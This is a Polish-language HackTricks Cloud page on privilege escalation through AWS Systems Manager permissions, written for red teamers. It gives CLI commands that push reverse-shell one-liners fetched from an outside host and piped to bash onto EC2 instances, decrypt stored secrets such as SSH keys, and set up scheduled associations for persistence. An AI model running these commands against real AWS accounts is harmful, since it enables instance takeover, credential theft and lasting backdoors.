AWS - SSM Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
SSM
Więcej informacji o SSM:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Atakujący posiadający uprawnienie ssm:SendCommand może wykonać polecenia na instancjach uruchamiających Amazon SSM Agent i skompromitować IAM Role działającą w nich.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Jeśli używasz tej techniki do eskalacji uprawnień wewnątrz już skompromitowanej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Potencjalny wpływ: Bezpośrednie privesc do EC2 IAM roles przypisanych do uruchomionych instancji z działającymi SSM Agents.
ssm:StartSession
Atakujący posiadający uprawnienie ssm:StartSession może rozpocząć sesję podobną do SSH na instancjach uruchamiających Amazon SSM Agent i przejąć IAM Role działającą wewnątrz niej.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
Aby rozpocząć sesję musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: Direct privesc do EC2 IAM roles przypisanych do uruchomionych instancji z działającymi SSM Agents.
Privesc to ECS
Kiedy ECS tasks działają z włączonym ExecuteCommand, użytkownicy z odpowiednimi uprawnieniami mogą użyć ecs execute-command, aby wykonać polecenie wewnątrz kontenera.
Zgodnie z the documentation odbywa się to przez utworzenie bezpiecznego kanału pomiędzy urządzeniem, którego używasz do zainicjowania polecenia „exec”, a docelowym kontenerem za pomocą SSM Session Manager. (SSM Session Manager Plugin wymagany do działania)\
W związku z tym użytkownicy z ssm:StartSession będą mogli get a shell inside ECS tasks z tą opcją włączoną, po prostu uruchamiając:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Potencjalny wpływ: Bezpośrednie privesc do ECSIAM roles przypisanych do działających zadań z włączonym ExecuteCommand.
ssm:ResumeSession
Atakujący posiadający uprawnienie ssm:ResumeSession może ponownie rozpocząć sesję podobną do SSH na instancjach uruchamiających Amazon SSM Agent z rozłączonym stanem sesji SSM i skompromitować IAM Role działającą w jej wnętrzu.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potencjalny wpływ: Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji z uruchomionymi SSM Agents i rozłączonymi sesjami.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Atakujący posiadający wymienione uprawnienia będzie mógł wylistować SSM parameters i read them in clear-text. W tych parametrach często można znaleźć wrażliwe informacje, takie jak SSH keys lub API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potencjalny wpływ: Znalezienie wrażliwych informacji w parametrach.
ssm:ListCommands
Atakujący posiadający to uprawnienie może wyświetlić listę wszystkich wysłanych commands i — miejmy nadzieję — znaleźć na nich wrażliwe informacje.
aws ssm list-commands
Potencjalny wpływ: Odkrycie wrażliwych informacji w treści linii poleceń.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Atakujący posiadający te uprawnienia może wylistować wszystkie wysłane polecenia oraz odczytać wygenerowane wyjście, mając nadzieję znaleźć w nim wrażliwe informacje.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Potencjalny wpływ: Możliwość znalezienia wrażliwych informacji w wyjściu poleceń.
Korzystanie z ssm:CreateAssociation
Atakujący posiadający uprawnienie ssm:CreateAssociation może utworzyć State Manager Association, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Takie State Manager Association można skonfigurować tak, aby były uruchamiane w stałych odstępach czasu, co czyni je odpowiednimi do backdoor-like persistence bez interaktywnych sesji.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Ta metoda utrzymywania dostępu działa dopóki instancja EC2 jest zarządzana przez Systems Manager, agent SSM działa, a atakujący ma uprawnienia do tworzenia associations. Nie wymaga sesji interaktywnych ani jawnych uprawnień ssm:SendCommand. Ważne: parametr
--schedule-expression(np.rate(30 minutes)) musi respektować minimalny interwał AWS wynoszący 30 minut. Dla natychmiastowego lub jednorazowego wykonania pomiń całkowicie--schedule-expression— association wykona się raz po utworzeniu.
Codebuild
Możesz też użyć SSM, aby dostać się do projektu codebuild podczas jego budowania:
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

